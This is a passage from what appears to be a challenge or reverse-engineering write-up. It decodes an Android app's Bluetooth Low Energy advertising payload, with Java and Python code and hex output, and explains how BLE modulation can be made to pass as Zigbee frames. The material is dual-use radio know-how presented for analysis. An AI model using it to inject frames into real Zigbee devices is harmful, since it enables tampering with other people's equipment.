&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isLeExtendedAdvertisingSupported&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Snackbar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;LE Extended Advertising not supported!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This code checks that the 2 Mbps bitrate and extended advertising are supported,
and then builds a payload that is sent in bluetooth low energy advertisements:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;AdvertisingSetParameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;parameters&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AdvertisingSetParameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setLegacyMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setTxPowerLevel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setPrimaryPhy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setSecondaryPhy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;d&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;AdvertiseData&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AdvertiseData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addManufacturerData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;4660&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dewhiten&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hexStringToByteArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The referenced strings are the following:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;R.string.a = &amp;quot;1b&amp;quot;&lt;/li&gt;
&lt;li&gt;R.string.b = &amp;quot;03&amp;quot;&lt;/li&gt;
&lt;li&gt;R.string.c = &amp;quot;3a&amp;quot;&lt;/li&gt;
&lt;li&gt;R.string.d = &amp;quot;f7&amp;quot;&lt;/li&gt;
&lt;li&gt;R.string.e = &amp;quot;70afb33965...0afb3393970af33&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let's write some Python code to generate the same advertising data:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# generate out&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;1b&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;03&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;3a&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;f7&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;70afb33965fc08453b9b03773970af3303f73a1b70afb339fc08c564f73a9b03&amp;#39;&lt;/span&gt; \
    &lt;span class="s1"&gt;&amp;#39;03f73a1bb239702f70afb33970afb33908c5647cf73a9b034dc68f5070afb339&amp;#39;&lt;/span&gt; \
    &lt;span class="s1"&gt;&amp;#39;c68f504cb239702f514cc60fb239702f4dc68f50f73a9b0303f73a1b70afb339&amp;#39;&lt;/span&gt; \
    &lt;span class="s1"&gt;&amp;#39;c464fc08aeb33970b239702ff73a9b03f73a9b0370afb33965fc0845aeb33970&amp;#39;&lt;/span&gt; \
    &lt;span class="s1"&gt;&amp;#39;464fc0870afb33970afb33970afb339aeb33970aeb33970514cc60f70afb3390&amp;#39;&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;3f73a1bc68f504c70afb3393970af33&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;
    &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="c1"&gt;# Payload is dewhitened before sending, because it will be whitened&lt;/span&gt;
&lt;span class="c1"&gt;# again when sent by the BLE chip =)&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;advertising payload:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This script produces the following output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;advertising payload:
03f73a1b03f73a1b03f73a1b03f73a1b
03f73a1b03f73a1b03f73a1b03f73a1b
70afb33965fc08453b9b03773970af33
03f73a1b70afb339fc08c564f73a9b03
03f73a1bb239702f70afb33970afb339
08c5647cf73a9b034dc68f5070afb339
c68f504cb239702f514cc60fb239702f
4dc68f50f73a9b0303f73a1b70afb339
c464fc08aeb33970b239702ff73a9b03
f73a9b0370afb33965fc0845aeb33970
464fc0870afb33970afb33970afb339a
eb33970aeb33970514cc60f70afb3390
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This data is what is sent in BLE advertisements as manufacturer data, but the meaning is still unknown. It's now
time to dig into Cayre's paper to understand what is going on !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="from-bluetooth-low-energy-to-zigbee"&gt;
&lt;h2&gt;From Bluetooth Low Energy to Zigbee&lt;/h2&gt;
&lt;p&gt;We won't cover all the details of Cayre's paper (so read it if you are looking for more information) but only
the most interesting aspects that may be useful to decode this data.&lt;/p&gt;
&lt;p&gt;Cayre found out that Bluetooth Low Energy PHY layer uses a &lt;em&gt;Gaussian Frequency Shift Keying&lt;/em&gt; (&lt;em&gt;GFSK&lt;/em&gt;) modulation that can
be considered (in a way) as an &lt;em&gt;Minimum Shift Keying&lt;/em&gt; (&lt;em&gt;MSK&lt;/em&gt;) modulation. This &lt;em&gt;MSK&lt;/em&gt; modulation when used with a
2 Mbit per second bitrate may be used to generate a RF signal (composed of I/Q samples) that fits the O-QPSK modulation
used by Zigbee. In short, a BLE chip can send BLE data at 2 Mbps on a specific BLE channel that would be interpreted by a
Zigbee receiver (using an &lt;em&gt;O-QPSK&lt;/em&gt; demodulator) as a valid series of bits representing a Zigbee frame.&lt;/p&gt;
&lt;p&gt;Cayre provides in his paper a specific table (table 2) that can be used to convert a block of 4 bits of Zigbee data into a series
of 31 bits that would be interpreted as a PN sequence used in Zigbee PHY layer. And this is exactly what this Android
application does: it sends a series of bits using &lt;em&gt;MSK&lt;/em&gt; modulation that will be decoded as PN sequences and then turned
into a series of 4-bit blocks by a Zigbee receiver and interpreted as such. For the record, the payload is dewhitened
before sending because the BLE chip will whiten the data (and undo this dewhitening) before sending it, thus ensuring
our payload is sent as-is.&lt;/p&gt;
&lt;p&gt;Therefore, we need to do some bit-level magic with our recovered advertising payload in order to extract the MSK-encoded
PN sequences with the help of some Python code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# reverse lookup table from Cayre&amp;#39;s paper (table 2)&lt;/span&gt;
&lt;span class="n"&gt;msk_to_block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;1100000011101111010111001101100&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0000&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;1001110000001110111101011100110&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1000&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;0101100111000000111011110101110&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0100&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;0100110110011100000011101111010&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1100&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;1101110011011001110000001110111&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0010&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;0111010111001101100111000000111&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1010&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;1110111101011100110110011100000&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0110&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;0000111011110101110011011001110&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1110&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
